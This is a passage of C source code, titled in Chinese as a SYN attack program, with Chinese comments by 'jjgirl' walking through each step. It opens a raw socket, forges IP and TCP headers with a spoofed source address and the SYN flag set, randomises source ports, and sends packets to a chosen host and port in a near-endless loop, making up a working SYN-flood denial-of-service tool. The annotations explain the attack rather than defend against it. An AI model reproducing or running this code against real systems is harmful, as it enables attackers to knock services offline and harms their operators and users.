一个SYN攻击的源程序
/*jjgirl:上面是判断参数!*/
fprintf(stderr,"%s:%s is being syn'd attacked by %s.\n",argv[1],argv[2],argv[3]);
bzero(&sin,sizeof(struct sockaddr_in)); /*write sizeof to &sin*/
sin.sin_family=AF_INET;
if((host1=gethostbyname(argv[3]))!=NULL)
bcopy(host1->h_addr,&din.sin_addr,host1->h_length);
else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)
{
fprintf(stderr,"unknown source host %s\n",argv[3]);
return(-1);
}
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown destination host %s\n",argv[1]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}
/*jjgirl:上面是给sockaddr_in结构赋值,需要指明协议,端口号!*/
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
/*jjgirl:上面开始Socket了!*/
foo=1;
if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1)
{
fprintf(stderr,"couldn't set raw header on socket\n");
return(-1);
}
/*jjgirl:上面是为了重构报头!*/
for(j=1;j>0;j++)
{
bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
ipheader->ip_v=4;
ipheader->ip_tos=0;
ipheader->ip_hl=sizeof(struct ip)/4;
ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
ipheader->ip_id=htons(random());
ipheader->ip_ttl=30; /*255;*/
ipheader->ip_p=IPPROTO_TCP;
ipheader->ip_sum=0;
ipheader->ip_src=din.sin_addr;
ipheader->ip_dst=sin.sin_addr;
tcpheader->th_sport=htons(srcport); /*sin.sin_port;*/
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0x28374839);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
tcpheader->th_sum=0;
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=din.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
/*jjgirl:上面是重构报头!*/
srcport= (10000.0*random()/(15000+1.0));
/*jjgirl:端口当然要变!*/
if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
/*jjgirl:攻击开始!*/
{
fprintf(stderr,"couldn't send packet,%d\n",errno);
return(-1);
}
usleep(2);
if (!(flooddot = (flooddot+1)%(1)))
{fprintf(stdout,".");fflush(stdout);}
/*jjgirl:显示次数! Jjgirl 把上面一句,改为如下两句,增加显示效果,随你的便!
{fprintf(stdout,".%4d",j);fflush(stdout);}
int k=j; if((k%10)==0) printf("\n"); */
} /*The end of the infinite loop*/
close(sock);
return(0);
}